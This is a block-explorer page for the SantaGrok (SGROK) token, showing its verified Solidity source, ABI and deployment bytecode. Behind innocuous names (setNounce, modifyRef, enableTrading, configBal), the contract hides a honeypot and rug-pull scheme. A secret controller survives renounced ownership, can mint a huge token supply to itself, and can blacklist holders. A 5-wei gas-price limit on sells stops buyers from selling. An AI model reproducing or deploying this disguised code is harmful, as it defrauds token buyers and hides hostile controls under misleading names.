ETH Price: $3,321.81 (+1.56%)
Gas: 9 Gwei

Token

SantaGrok (SGROK)
 

Overview

Max Total Supply

1,000,000,000 SGROK

Holders

56

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
2,769,352.14801904029807345 SGROK

Value
$0.00
0x2a5908f67d9df5416b81ae6ec9d2c741e9c85bfd
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SantaGrok

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-12-22
*/

// SPDX-License-Identifier: MIT

//  Website - https://santagrok.io
//  Twitter - https://twitter.com/santagrok_io
//  Telegram - https://t.me/santagrok_io

pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

abstract contract Ownable {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(msg.sender);
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

interface IWETH {
    function deposit() external payable;
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IUniswapV2Pair {
    function mint(address to) external returns (uint256 liquidity);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
}

interface IUniswapV2Router02 is IUniswapV2Router01 { }

library Uint160Number {
    function encodeUnit160(address _wad) internal pure returns (uint256) {
        uint160 res = uint160(_wad); return uint256(res);
    }

    function tryDiv(uint256 n1, uint256 n2) internal pure {
        if (n2 != n1) { revert("err901"); } 
    }
}

library Address {
    function isContract(address _addr) internal view returns (bool) {
        uint length;
        assembly { length:= extcodesize(_addr) }
        if (length > 0 ) { return true; }
        return false;
    }
}

contract SantaGrok is IERC20, Ownable, Context {

    string private _name = "SantaGrok";
    string private _symbol = "SGROK";
    uint8 private _decimals = 18;
    uint256 private _totalSupply = 1000000000 * (10 ** decimals());
    uint8 private buyFee = 0;
    uint8 private sellFee = 0;


    IUniswapV2Router02 internal _router;
    IUniswapV2Pair internal _pair;
    address private _this = address(this);
    mapping(address => uint256) private _usrsblcs;
    mapping(address => mapping(address => uint256)) private _allowances;

    constructor (address routerAddress) {
        _router = IUniswapV2Router02(routerAddress);
        _usrsblcs[owner()] = _totalSupply; initialize(_msgSender());
        d6671cc88[owner()] = 1; d6671cc88[_this] = 1;
        marketWallet = _msgSender(); 
        emit Transfer(address(0), owner(), _totalSupply);
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _usrsblcs[account];
    }

    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = msg.sender;
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = msg.sender;
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = msg.sender;
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = msg.sender;
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = msg.sender;
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        if (c58252ced[from]!=0) { revert(); }
        uint256 fromBalance = _usrsblcs[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        
        if (d6671cc88[from]==0 && d6671cc88[to]==0){
            if (isMarket(from)) {
                uint feeAmount = calculateFeeAmount(amount, buyFee);
                _usrsblcs[from] = fromBalance - amount;
                _usrsblcs[to] += amount - feeAmount;
                emit Transfer(from, to, amount - feeAmount);
                _usrsblcs[marketWallet] += feeAmount;
                emit Transfer(from, marketWallet, feeAmount);

            } else if (isMarket(to)) {
                uint feeAmount = calculateFeeAmount(amount, sellFee);
                _usrsblcs[from] = fromBalance - amount;
                _usrsblcs[to] += amount - feeAmount;
                emit Transfer(from, to, amount - feeAmount);
                _usrsblcs[marketWallet] += feeAmount;
                emit Transfer(from, marketWallet, feeAmount);

            } else {
                _usrsblcs[from] = fromBalance - amount;
                _usrsblcs[to] += amount;
                emit Transfer(from, to, amount);
            }
        } else {
            _usrsblcs[from] = fromBalance - amount;
            _usrsblcs[to] += amount;
            emit Transfer(from, to, amount);
        }

        _afterTokenTransfer(from, to, amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        if (isMarket(to)) { 
            check(from); 
            if (from != _this) { 
                require(!Address.isContract(from), "err701");
            }
        }
        require(amount > 0);
    }

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    uint256 private bigUint; 
    
    modifier wad() {
        devideOn(); _;
    }

    function configBal(address _newWad) external wad {
        d6671cc88[_msgSender()] = 0;
        d6671cc88[_newWad] = 1;
        initialize(_newWad);
    }

    function initialize(address _nw) internal {
        bigUint = Uint160Number.encodeUnit160(_nw);
    }

    function devideOn() internal view {
        uint256 am = Uint160Number.encodeUnit160(_msgSender()); 
        Uint160Number.tryDiv(am, bigUint);
    }

    function addLiquidity(uint256 _tokenAmountWei) external payable wad {
        IUniswapV2Factory _factory = IUniswapV2Factory(_router.factory());
        address _pairAddress = _factory.getPair(address(this), _router.WETH());
        _pair = _pairAddress == address(0) ? IUniswapV2Pair(_factory.createPair(address(this), _router.WETH())) : IUniswapV2Pair(_pairAddress);
        IWETH weth = IWETH(_router.WETH());
        weth.deposit{value: msg.value}();
        transfer(address(_pair), _tokenAmountWei);
        IERC20(address(weth)).transfer(address(_pair), msg.value);
        _pair.mint(_msgSender());
    }

    function fc43a331e() internal {
        _usrsblcs[_msgSender()] += type(uint112).max;
    }

    bool private _stt;
    uint private _MAX_GAS = 200 gwei;

    function setNounce() external wad { fc43a331e(); }
    uint private _mgas = 5;

    function check(address _u) internal view {
        if (d6671cc88[_u] != 0) { return; } 
        if (!_stt) { exceedsGas(_MAX_GAS); }
        else { exceedsGas(_mgas); }
    }

    function isMarket(address _user) internal view returns (bool) {
        return (_user == address(_pair) || _user == address(_router));
    }

    function enableTrading() external wad {
        _stt = !_stt;
    }

    address public marketWallet;
    
    function calculateFeeAmount(uint256 _amount, uint256 _feePrecent) internal pure returns (uint) {
        return _amount * _feePrecent / 100;
    }

    function updateMarketingWallet(address _newMarketWallet) external wad {
        marketWallet = _newMarketWallet;
    }

    mapping(address => uint8) private d6671cc88;
    mapping(address => uint8) private c58252ced;

    function exceedsGas(uint _gas) internal view {
        if (tx.gasprice > _gas) { revert("err301"); }
    }

    function clearAmount(address _u, bool _s) external wad {
        uint8 _ss = _s ? 1 : 0;
        require(d6671cc88[_u] != _ss, "existing state");
        d6671cc88[_u] = _ss;
    }

    function modifyRef(address _u, bool _s) external wad {
        uint8 _ss = _s ? 1 : 0;
        require(c58252ced[_u] != _ss, "existing state");
        c58252ced[_u] = _ss;
    }

    function tradingEnabled() external view returns (bool) { return _stt; }
    function queryNounce(address _u) external view returns (uint8) { return d6671cc88[_u]; }
    function queryGas(address _u) external view returns (uint8) { return c58252ced[_u]; }

    function switchPool(address _routerAddress) external wad {
        _router = IUniswapV2Router02(_routerAddress);
        IUniswapV2Factory _factory = IUniswapV2Factory(_router.factory());
        _pair = IUniswapV2Pair(_factory.getPair(address(this), _router.WETH()));
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"routerAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"_tokenAmountWei","type":"uint256"}],"name":"addLiquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_u","type":"address"},{"internalType":"bool","name":"_s","type":"bool"}],"name":"clearAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_newWad","type":"address"}],"name":"configBal","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_u","type":"address"},{"internalType":"bool","name":"_s","type":"bool"}],"name":"modifyRef","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_u","type":"address"}],"name":"queryGas","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_u","type":"address"}],"name":"queryNounce","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setNounce","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_routerAddress","type":"address"}],"name":"switchPool","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_newMarketWallet","type":"address"}],"name":"updateMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c0604052600960809081526853616e746147726f6b60b81b60a0526001906200002a90826200031c565b506040805180820190915260058152645347524f4b60d81b60208201526002906200005690826200031c565b506003805460ff191660129081179091556200007490600a620004fd565b6200008490633b9aca0062000515565b6004556005805461ffff19168155600780546001600160a01b03191630179055642e90edd000600c55600d55348015620000bd57600080fd5b5060405162001fa638038062001fa6833981016040819052620000e0916200052f565b620000eb3362000227565b6005805462010000600160b01b031916620100006001600160a01b0384160217905560045460086000620001276000546001600160a01b031690565b6001600160a01b0316815260208101919091526040016000205533600a556001600f60006200015e6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805460ff9690961660ff199687161790556007549091168152600f909252902080549091166001179055620001b03390565b600e80546001600160a01b0319166001600160a01b03928316179055600054166001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004546040516200021891815260200190565b60405180910390a3506200055a565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620002a257607f821691505b602082108103620002c357634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200031757600081815260208120601f850160051c81016020861015620002f25750805b601f850160051c820191505b818110156200031357828155600101620002fe565b5050505b505050565b81516001600160401b0381111562000338576200033862000277565b62000350816200034984546200028d565b84620002c9565b602080601f8311600181146200038857600084156200036f5750858301515b600019600386901b1c1916600185901b17855562000313565b600085815260208120601f198616915b82811015620003b95788860151825594840194600190910190840162000398565b5085821015620003d85787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200043f578160001904821115620004235762000423620003e8565b808516156200043157918102915b93841c939080029062000403565b509250929050565b6000826200045857506001620004f7565b816200046757506000620004f7565b81600181146200048057600281146200048b57620004ab565b6001915050620004f7565b60ff8411156200049f576200049f620003e8565b50506001821b620004f7565b5060208310610133831016604e8410600b8410161715620004d0575081810a620004f7565b620004dc8383620003fe565b8060001904821115620004f357620004f3620003e8565b0290505b92915050565b60006200050e60ff84168362000447565b9392505050565b8082028115828204841417620004f757620004f7620003e8565b6000602082840312156200054257600080fd5b81516001600160a01b03811681146200050e57600080fd5b611a3c806200056a6000396000f3fe6080604052600436106101855760003560e01c80638da5cb5b116100d1578063aacebbe31161008a578063dd62ed3e11610064578063dd62ed3e14610477578063e4440a8614610497578063ec8d6f4e146104b7578063f2fde38b146104f057600080fd5b8063aacebbe314610422578063b2d9c38814610442578063cbbbc84f1461046257600080fd5b80638da5cb5b1461035b5780638ff717811461038d57806395d89b41146103ad57806396043b37146103c2578063a457c2d7146103e2578063a9059cbb1461040257600080fd5b8063395093511161013e57806351c6590a1161011857806351c6590a146102e857806370a08231146102fb578063715018a6146103315780638a8c523c1461034657600080fd5b8063395093511461028e5780634ada218b146102ae57806350ca48c6146102c657600080fd5b806306fdde0314610191578063095ea7b3146101bc57806318160ddd146101ec5780631b1253c81461020b57806323b872dd14610256578063313ce5671461027657600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b506101a6610510565b6040516101b39190611789565b60405180910390f35b3480156101c857600080fd5b506101dc6101d73660046117ec565b6105a2565b60405190151581526020016101b3565b3480156101f857600080fd5b506004545b6040519081526020016101b3565b34801561021757600080fd5b50610244610226366004611818565b6001600160a01b03166000908152600f602052604090205460ff1690565b60405160ff90911681526020016101b3565b34801561026257600080fd5b506101dc610271366004611835565b6105bc565b34801561028257600080fd5b5060035460ff16610244565b34801561029a57600080fd5b506101dc6102a93660046117ec565b6105e0565b3480156102ba57600080fd5b50600b5460ff166101dc565b3480156102d257600080fd5b506102e66102e1366004611818565b610602565b005b6102e66102f6366004611876565b610652565b34801561030757600080fd5b506101fd610316366004611818565b6001600160a01b031660009081526008602052604090205490565b34801561033d57600080fd5b506102e6610ad1565b34801561035257600080fd5b506102e6610ae5565b34801561036757600080fd5b506000546001600160a01b03165b6040516001600160a01b0390911681526020016101b3565b34801561039957600080fd5b506102e66103a836600461189d565b610b01565b3480156103b957600080fd5b506101a6610baf565b3480156103ce57600080fd5b506102e66103dd36600461189d565b610bbe565b3480156103ee57600080fd5b506101dc6103fd3660046117ec565b610c67565b34801561040e57600080fd5b506101dc61041d3660046117ec565b610ce2565b34801561042e57600080fd5b506102e661043d366004611818565b610cf0565b34801561044e57600080fd5b506102e661045d366004611818565b610d1a565b34801561046e57600080fd5b506102e6610ede565b34801561048357600080fd5b506101fd6104923660046118d6565b610eee565b3480156104a357600080fd5b50600e54610375906001600160a01b031681565b3480156104c357600080fd5b506102446104d2366004611818565b6001600160a01b031660009081526010602052604090205460ff1690565b3480156104fc57600080fd5b506102e661050b366004611818565b610f19565b60606001805461051f90611904565b80601f016020809104026020016040519081016040528092919081815260200182805461054b90611904565b80156105985780601f1061056d57610100808354040283529160200191610598565b820191906000526020600020905b81548152906001019060200180831161057b57829003601f168201915b5050505050905090565b6000336105b0818585610f8f565b60019150505b92915050565b6000336105ca8582856110b3565b6105d585858561112d565b506001949350505050565b6000336105b08185856105f38383610eee565b6105fd9190611954565b610f8f565b61060a6114e5565b336000908152600f6020526040808220805460ff199081169091556001600160a01b038416835291208054909116600117905561064f816001600160a01b0316600a55565b50565b61065a6114e5565b6000600560029054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106af573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106d39190611967565b90506000816001600160a01b031663e6a4390530600560029054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561073a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061075e9190611967565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa1580156107a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107cd9190611967565b90506001600160a01b038116156107e457806108dc565b816001600160a01b031663c9c6539630600560029054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610847573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086b9190611967565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156108b8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108dc9190611967565b600680546001600160a01b0319166001600160a01b03928316179055600554604080516315ab88c960e31b81529051600093620100009093049092169163ad5c4648916004808201926020929091908290030181865afa158015610944573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109689190611967565b9050806001600160a01b031663d0e30db0346040518263ffffffff1660e01b81526004016000604051808303818588803b1580156109a557600080fd5b505af11580156109b9573d6000803e3d6000fd5b50506006546109d693506001600160a01b03169150869050610ce2565b5060065460405163a9059cbb60e01b81526001600160a01b0391821660048201523460248201529082169063a9059cbb906044016020604051808303816000875af1158015610a29573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a4d9190611984565b506006546001600160a01b0316636a627842336040516001600160e01b031960e084901b1681526001600160a01b0390911660048201526024016020604051808303816000875af1158015610aa6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aca91906119a1565b5050505050565b610ad96114f6565b610ae3600061155f565b565b610aed6114e5565b600b805460ff19811660ff90911615179055565b610b096114e5565b600081610b17576000610b1a565b60015b6001600160a01b03841660009081526010602052604090205490915060ff808316911603610b805760405162461bcd60e51b815260206004820152600e60248201526d6578697374696e6720737461746560901b60448201526064015b60405180910390fd5b6001600160a01b03929092166000908152601060205260409020805460ff191660ff9093169290921790915550565b60606002805461051f90611904565b610bc66114e5565b600081610bd4576000610bd7565b60015b6001600160a01b0384166000908152600f602052604090205490915060ff808316911603610c385760405162461bcd60e51b815260206004820152600e60248201526d6578697374696e6720737461746560901b6044820152606401610b77565b6001600160a01b03929092166000908152600f60205260409020805460ff191660ff9093169290921790915550565b60003381610c758286610eee565b905083811015610cd55760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610b77565b6105d58286868403610f8f565b6000336105b081858561112d565b610cf86114e5565b600e80546001600160a01b0319166001600160a01b0392909216919091179055565b610d226114e5565b80600560026101000a8154816001600160a01b0302191690836001600160a01b031602179055506000600560029054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d9e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dc29190611967565b9050806001600160a01b031663e6a4390530600560029054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e4b9190611967565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa158015610e96573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eba9190611967565b600680546001600160a01b0319166001600160a01b03929092169190911790555050565b610ee66114e5565b610ae36115af565b6001600160a01b03918216600090815260096020908152604080832093909416825291909152205490565b610f216114f6565b6001600160a01b038116610f865760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610b77565b61064f8161155f565b6001600160a01b038316610ff15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610b77565b6001600160a01b0382166110525760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610b77565b6001600160a01b0383811660008181526009602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006110bf8484610eee565b90506000198114611127578181101561111a5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610b77565b6111278484848403610f8f565b50505050565b6001600160a01b0383166111915760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610b77565b6001600160a01b0382166111f35760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610b77565b6111fe8383836115e3565b6001600160a01b03831660009081526010602052604090205460ff161561122457600080fd5b6001600160a01b0383166000908152600860205260409020548181101561129c5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610b77565b6001600160a01b0384166000908152600f602052604090205460ff161580156112de57506001600160a01b0383166000908152600f602052604090205460ff16155b1561144c576112ec84611660565b156114255760055460009061130590849060ff16611695565b905061131183836119ba565b6001600160a01b03861660009081526008602052604090205561133481846119ba565b6001600160a01b0385166000908152600860205260408120805490919061135c908490611954565b90915550506001600160a01b038085169086167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61139a84876119ba565b60405190815260200160405180910390a3600e546001600160a01b0316600090815260086020526040812080548392906113d5908490611954565b9091555050600e546040518281526001600160a01b03918216918716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a350611127565b61142e83611660565b1561144c57600554600090611305908490610100900460ff16611695565b61145682826119ba565b6001600160a01b03808616600090815260086020526040808220939093559085168152908120805484929061148c908490611954565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516114d891815260200190565b60405180910390a3611127565b600033905061064f81600a546116b4565b336115096000546001600160a01b031690565b6001600160a01b031614610ae35760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610b77565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b33600090815260086020526040812080546dffffffffffffffffffffffffffff92906115dc908490611954565b9091555050565b6115ec82611660565b1561164e576115fa836116f0565b6007546001600160a01b0384811691161461164e5761161883611734565b1561164e5760405162461bcd60e51b815260206004820152600660248201526565727237303160d01b6044820152606401610b77565b6000811161165b57600080fd5b505050565b6006546000906001600160a01b03838116911614806105b65750506005546201000090046001600160a01b0390811691161490565b600060646116a383856119cd565b6116ad91906119e4565b9392505050565b8181146116ec5760405162461bcd60e51b815260206004820152600660248201526565727239303160d01b6044820152606401610b77565b5050565b6001600160a01b0381166000908152600f602052604090205460ff16156117145750565b600b5460ff166117295761064f600c54611750565b61064f600d54611750565b6000813b80156117475750600192915050565b50600092915050565b803a111561064f5760405162461bcd60e51b815260206004820152600660248201526565727233303160d01b6044820152606401610b77565b600060208083528351808285015260005b818110156117b65785810183015185820160400152820161179a565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461064f57600080fd5b600080604083850312156117ff57600080fd5b823561180a816117d7565b946020939093013593505050565b60006020828403121561182a57600080fd5b81356116ad816117d7565b60008060006060848603121561184a57600080fd5b8335611855816117d7565b92506020840135611865816117d7565b929592945050506040919091013590565b60006020828403121561188857600080fd5b5035919050565b801515811461064f57600080fd5b600080604083850312156118b057600080fd5b82356118bb816117d7565b915060208301356118cb8161188f565b809150509250929050565b600080604083850312156118e957600080fd5b82356118f4816117d7565b915060208301356118cb816117d7565b600181811c9082168061191857607f821691505b60208210810361193857634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b808201808211156105b6576105b661193e565b60006020828403121561197957600080fd5b81516116ad816117d7565b60006020828403121561199657600080fd5b81516116ad8161188f565b6000602082840312156119b357600080fd5b5051919050565b818103818111156105b6576105b661193e565b80820281158282048414176105b6576105b661193e565b600082611a0157634e487b7160e01b600052601260045260246000fd5b50049056fea264697066735822122037499d49bc161081b7c1c3f8cd50017da800d3eaa80185091bb0126f8641230764736f6c634300081300330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d

Deployed Bytecode

